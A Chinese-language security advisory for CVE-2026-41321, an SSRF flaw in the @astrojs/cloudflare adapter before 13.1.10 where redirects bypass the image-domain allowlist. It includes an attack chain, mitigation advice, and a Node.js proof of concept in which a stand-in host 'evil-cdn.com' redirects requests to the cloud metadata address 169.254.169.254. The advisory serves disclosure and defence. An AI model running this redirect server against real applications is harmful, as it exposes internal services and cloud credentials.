IPBUF安全漏洞报告
English
CVE-2026-41321 CVSS 2.2 低危

CVE-2026-41321 Astro Cloudflare适配器SSRF漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41321
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
2.2 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
@astrojs/cloudflare

相关标签

SSRFAstroCloudflareCVE-2026-41321Redirect Bypass

漏洞概述

@astrojs/cloudflare是Astro用于Cloudflare Workers的SSR适配器。在13.1.10版本前,远程图片的fetch()调用默认跟随重定向。虽然代码通过isRemoteAllowed()检查初始URL域名白名单,但未验证重定向后的URL。攻击者利用此漏洞可引导Worker访问任意URL(如内网地址),绕过白名单限制。该漏洞源于对CVE-2025-58179的不完全修复,现已修复。

技术细节

该漏洞的根源在于`@astrojs/cloudflare`适配器在处理远程图片资源时的安全逻辑缺陷。具体位于`packages/integrations/cloudflare/src/utils/image-binding-transform.ts`文件中,当组件请求远程图片时,底层使用了`fetch()`函数获取数据。尽管开发者引入了`isRemoteAllowed()`函数作为安全机制,用于验证请求的源URL是否位于预设的域名白名单之内,以防止对未授权站点的访问。然而,关键的疏漏在于`fetch()`调用时未显式配置`redirect`选项,导致其默认行为为`'follow'`(自动跟随重定向)。攻击者可以利用这一特性,首先诱导目标应用请求一个位于白名单内但由攻击者控制的URL。当适配器发起请求时,攻击者的服务器响应一个HTTP 301或302重定向状态码,将Location头指向受害者的内网敏感资源(例如本地管理后台、云服务元数据接口`http://169.254.169.254`等)。由于`fetch`自动跟随重定向且不会再次触发`isRemoteAllowed()`检查,Cloudflare Worker将代表用户访问受限的内网地址。这构成了服务端请求伪造(SSRF)攻击,使得攻击者能够探测内网拓扑或窃取敏感数据。

攻击链分析

STEP 1
1
攻击者识别目标使用了存在漏洞的@astrojs/cloudflare版本(< 13.1.10)。
STEP 2
2
攻击者寻找或诱导管理员将一个受控域名加入允许列表(或利用已被允许的CDN/图床)。
STEP 3
3
攻击者在受控服务器上配置重定向规则,将特定请求重定向至内网敏感地址(如127.0.0.1)。
STEP 4
4
攻击者诱导Astro应用请求该受控服务器上的资源。
STEP 5
5
应用通过白名单检查后发起请求,fetch自动跟随重定向访问内网地址。
STEP 6
6
应用获取并返回内网资源内容,导致SSRF攻击成功。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC Concept: SSRF via Redirect Bypass // Attacker controls: http://evil-cdn.com (assumed whitelisted) // Target: http://169.254.169.254/latest/meta-data/ // 1. Malicious Server Configuration (Node.js example) const http = require('http'); const server = http.createServer((req, res) => { console.log('Request received from victim'); // Respond with a redirect to an internal resource res.writeHead(302, { 'Location': 'http://169.254.169.254/latest/meta-data/' }); res.end(); }); server.listen(80); // 2. Vulnerable Request Flow in Astro // The victim app requests: http://evil-cdn.com/image.jpg // // Code path in @astrojs/cloudflare: // - isRemoteAllowed('http://evil-cdn.com/image.jpg') -> Returns True (Domain is allowed) // - fetch('http://evil-cdn.com/image.jpg', { redirect: 'follow' }) // -> Receives 302 from evil-cdn.com // -> Automatically follows to http://169.254.169.254/latest/meta-data/ // -> Returns internal metadata to the attacker

影响范围

@astrojs/cloudflare < 13.1.10

防御指南

临时缓解措施
在未升级的情况下,建议禁用远程图片功能或严格限制允许的域名列表仅包含绝对可信的源。开发人员可尝试修改fetch配置,将redirect设置为'manual',并在手动处理重定向响应时对Location头进行二次白名单校验。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表